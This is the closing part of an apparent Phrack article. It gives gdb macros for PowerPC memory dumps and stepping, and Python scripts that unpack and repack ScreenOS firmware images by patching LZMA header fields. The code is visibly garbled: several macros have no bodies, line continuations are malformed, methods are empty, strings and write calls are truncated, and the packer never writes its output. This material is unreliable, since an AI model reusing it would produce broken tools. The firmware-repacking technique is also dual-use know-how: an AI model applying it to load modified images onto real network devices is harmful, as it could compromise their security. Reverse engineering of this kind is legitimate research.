printf "%02X %02X %02X %02X %02X %02X %02X %02X", *(unsigned char*) /
($arg0), *(unsigned char*)($arg0 + 1),*(unsigned char*)($arg0+2), /
*(unsigned char*)($arg0 + 3),*(unsigned char*)($arg0+4), *(unsigned char*)/
($arg0 + 5),*(unsigned char*)($arg0+6), *(unsigned char*)($arg0 + 7)
printf " - "
printf "%02X %02X %02X %02X %02X %02X %02X %02X",*(unsigned char*) /
($arg0+8), *(unsigned char*)($arg0 + 9),*(unsigned char*)($arg0+10), /
*(unsigned char*)($arg0 + 11),*(unsigned char*)($arg0+12), /
*(unsigned char*)($arg0 + 13),*(unsigned char*)($arg0+14), /
*(unsigned char*)($arg0 + 15)
printf " %c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n",*(unsigned char*)($arg0),/
*(unsigned char*)($arg0 + 1),*(unsigned char*)($arg0+2), /
*(unsigned char*)($arg0 + 3),*(unsigned char*)($arg0+4), /
*(unsigned char*)($arg0 + 5),*(unsigned char*)($arg0+6), /
*(unsigned char*)($arg0 + 7),*(unsigned char*)($arg0+8), /
*(unsigned char*)($arg0 + 9),*(unsigned char*)($arg0+10),/
*(unsigned char*)($arg0 + 11),*(unsigned char*)($arg0+12), /
*(unsigned char*)($arg0 + 13),*(unsigned char*)($arg0+14), /
*(unsigned char*)($arg0 + 15)

#------------------------------hex dump address---------------------------
define memdump
printf "%02X%02X%02X%02X%02X%02X%02X%02X", *(unsigned char*)/
($arg0), *(unsigned char*)($arg0 + 1),*(unsigned char*)($arg0+2), /
*(unsigned char*)($arg0 + 3),*(unsigned char*)($arg0+4), /
*(unsigned char*)($arg0 + 5),*(unsigned char*)($arg0+6), /
*(unsigned char*)($arg0 + 7)
printf "%02X%02X%02X%02X%02X%02X%02X%02X\n",*(unsigned char*)/
($arg0+8), *(unsigned char*)($arg0 + 9),*(unsigned char*)($arg0+10),/
*(unsigned char*)($arg0 + 11),*(unsigned char*)($arg0+12),/
*(unsigned char*)($arg0 + 13),*(unsigned char*)($arg0+14),/
*(unsigned char*)($arg0 + 15)

#----------------------------process context-------------------------------
define context
printf "\n"
printf "powerpc\n"
printf "---------------------------------"
printf "--------------------------------------[regs]\n"
printf "\n"
printf "[%08X]---------------------", $r1
printf "--------------------------------------[stack]\n"
hexdump $r1+64
hexdump $r1+48
hexdump $r1+32
hexdump $r1+16
hexdump $r1
hexdump $r1-16
hexdump $r1-32
hexdump $r1-48
hexdump $r1-64
printf "\n"
printf "[%08X]---------------------", $pc
printf "----------------------------------[code]\n"
x /16i $pc
printf "---------------------------------"
printf "-------------------------------------\n"

#--------------------------process control---------------------------------
define n

define c

define go
stepi $arg0

define goto
tbreak $arg0

define pret

define startice
tbreak _start

define main
tbreak main

define find
set $start = (char *) $arg0
set $end = (char *) $arg1
set $pattern = (int) $arg2
set $p = $start
while $p < $end if (*(int *) $p) == $pattern printf "pattern 0x%x found at 0x$x\n", $pattern, $p end set $p++ end end #--------------------------gdb options------------------------------------- set confirm 0 set verbose off set prompt gdb-ppc>
set output-radix 0x10
set input-radix 0x10

ScreenOS pack & unpack python scripts
# nodunpack.py :: ScreenOS image unpacker
# requires LZMA utilities
import sys
import subprocess

class sosunzip:

def init():

def unpack(self):

print "Cutting off header and saving"
f = open(self.packed, 'rb')
fh = file(self.header, 'w+b')
fb = file(self.image, 'w+b')

# save header including 4 magic bytes for lzma blob
head = f.read(0x00012c04)
print "Header extracted"

# save lzma blob
blob = f.read()
print "lzma blob extracted"

# fast way
# fb = open(self.image, 'r+b')
# buf = fb.read().replace(oldhead,newhead)
# fb.seek(0x0)
# fb.write(buf)
# fb.close()

# correct dictionary size
fb = open(self.image, 'r+b')
print "Correcting dictionary size 00008000"
fb.write(chr(0x00) + chr(0x00) + chr(0x80) + chr(0x00))

# read header and lzma blob
head = fb.read(0x05)
lzma = fb.read()

# write outheader, unknown size and lzma blob
print "Adding uncompressed size: 0xffffffffffffffff"
fb.write(chr(0xff)+chr(0xff)+chr(0xff)+chr(0xff)+chr(0xff)+chr /

print ("Uncompressing LZMA blob...")
mkimage = "".join(['lzcat ',self.image,' > ',self.out])
subprocess.call(mkimage, shell=True)
print "lzcat: Blob decompressed (decoder error is safe to ignore)"
print "ScreenOS image file decompressed"

if __name__ == '__main__':

if len(sys.argv) != 4:
print "Usage: ./sunpack.py "
s = sosunzip()
s.packed = sys.argv[1]
s.header = sys.argv[2]
s.out = sys.argv[3]
s.image = "".join([sys.argv[3],'.lzma'])


# nodpack.py :: ScreenOS image packer
# requires LZMA utilities installed!
import sys
import subprocess

class soszip:

def init():

def pack(self):

print ("Compressing with LZMA...")
mklzma = "".join(["lzma", " -5 ",self.image])

print("Adding header to LZMA blob...")
mkimage = "".join(['cat ',self.header,' ',self.image,'.lzma > /
subprocess.call(mkimage, shell=True)

print "Fixing dictionary size 0x00012c05: 00008000 -> 00200000"
f = open(self.packed, 'r+b')
f.write(chr(0x00)+ chr(0x20) + chr(0x00)+ chr(0x00))
#seek to start of file
head = f.read(0x00012c09)
print "Removing uncompressed size 0x00012c09: [8 bytes]"
#seek past the field to remove
bub = f.read()
# rewrite the file

print "ScreenOS image file created"

if __name__ == '__main__':

if len(sys.argv) != 4:
print "Usage: ./nodpack.py
s = soszip()
s.header = sys.argv[1]
s.image = sys.argv[2]
s.packed = sys.argv[3]


--------[ EOF

source: phrack